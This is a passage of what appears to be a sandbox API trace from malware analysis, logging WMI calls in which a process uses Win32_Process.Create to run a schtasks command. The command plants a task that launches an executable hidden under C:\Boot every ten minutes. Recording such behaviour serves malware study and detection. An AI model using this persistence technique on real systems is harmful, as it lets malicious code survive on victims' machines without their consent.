[5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.050] WbemDefPath:IUnknown:Release (This=0x1bc412c0) returned 0x3 [0135.050] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0135.050] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0135.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0135.050] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x2 [0135.050] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x1 [0135.050] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0135.050] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0135.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3ee40) returned 0x0 [0135.051] WbemDefPath:IUnknown:AddRef (This=0x1bc3ee40) returned 0x3 [0135.051] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x2 [0135.051] WbemDefPath:IWbemPath:SetText (This=0x1bc3ee40, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0135.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.051] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0135.051] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.051] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.051] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.051] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.051] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.053] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc41300) returned 0x0 [0135.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41300, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.053] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41300, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ef00) returned 0x0 [0135.053] WbemDefPath:IUnknown:Release (This=0x1bc41300) returned 0x0 [0135.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ef00) returned 0x0 [0135.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.054] WbemDefPath:IUnknown:AddRef (This=0x1bc3ef00) returned 0x3 [0135.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc41340) returned 0x0 [0135.054] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.054] WbemDefPath:IUnknown:Release (This=0x1bc41340) returned 0x3 [0135.054] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.054] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.054] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x2 [0135.054] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x1 [0135.054] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.054] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ef00) returned 0x0 [0135.054] WbemDefPath:IUnknown:AddRef (This=0x1bc3ef00) returned 0x3 [0135.054] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x2 [0135.054] WbemDefPath:IWbemPath:SetText (This=0x1bc3ef00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0135.054] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ee40, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.054] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0135.054] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0135.054] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0135.055] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3ee40) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0135.055] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3ee40, uIndex=0x0, pszName="root") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0135.055] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3ee40, uIndex=0x1, pszName="cimv2") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ef00, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ef00, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ee40, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ee40, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ee40, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ee40, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0135.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0135.056] IWbemServices:GetObject (in: This=0x1bc35fd0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc29b00, ppCallResult=0x0) returned 0x0 [0135.081] IWbemClassObject:GetMethod (in: This=0x1bc29b00, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc29e70, ppOutSignature=0x1bb7e690*=0x1bc2a1e0) returned 0x0 [0135.082] IWbemClassObject:SpawnInstance (in: This=0x1bc29e70, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa18270) returned 0x0 [0135.082] IWbemClassObject:Get (in: This=0x1aa18270, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d738*=0, plFlavor=0x286d73c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d738*=8, plFlavor=0x286d73c*=32) returned 0x0 [0135.083] IWbemClassObject:Get (in: This=0x1aa18270, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d738*=8, plFlavor=0x286d73c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d738*=8, plFlavor=0x286d73c*=32) returned 0x0 [0135.083] IWbemClassObject:Put (This=0x1aa18270, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0135.083] IWbemClassObject:Get (in: This=0x1aa18270, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d7c8*=0, plFlavor=0x286d7cc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d7c8*=13, plFlavor=0x286d7cc*=32) returned 0x0 [0135.083] IWbemClassObject:Get (in: This=0x1aa18270, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d7c8*=13, plFlavor=0x286d7cc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286d7c8*=13, plFlavor=0x286d7cc*=32) returned 0x0 [0135.083] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc29420) returned 0x0 [0135.083] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0135.083] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0135.084] IUnknown:AddRef (This=0x1bc29420) returned 0x3 [0135.084] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0135.084] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0135.084] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc29428) returned 0x0 [0135.084] IMarshal:GetUnmarshalClass (in: This=0x1bc29428, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0135.084] IUnknown:Release (This=0x1bc29428) returned 0x3 [0135.084] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0135.084] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0135.085] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0135.085] IUnknown:Release (This=0x1bc29420) returned 0x2 [0135.085] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0135.085] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0135.085] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0135.085] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0135.085] IUnknown:QueryInterface (in: This=0x1bc29420, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0135.085] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0135.085] IUnknown:AddRef (This=0x1bc29420) returned 0x3 [0135.085] IWbemClassObject:Put (This=0x1aa18270, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc29420, varVal2=0x0), Type=0) returned 0x0 [0135.085] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3eb40, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0135.085] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0135.085] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0135.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0135.086] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0135.086] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.086] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0135.086] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0135.086] IWbemServices:ExecMethod (in: This=0x1bc35fd0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa18270, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa18520, ppCallResult=0x0) returned 0x0 [0135.279] IWbemClassObject:Get (in: This=0x1aa18520, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286dae0*=0, plFlavor=0x286dae4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf38, varVal2=0x0), pType=0x286dae0*=19, plFlavor=0x286dae4*=0) returned 0x0 [0135.279] IWbemClassObject:Get (in: This=0x1aa18520, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286dae0*=19, plFlavor=0x286dae4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf38, varVal2=0x0), pType=0x286dae0*=19, plFlavor=0x286dae4*=0) returned 0x0 [0135.280] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0135.280] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0135.280] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0135.280] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.282] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc41540) returned 0x0 [0135.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41540, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0135.282] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41540, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: 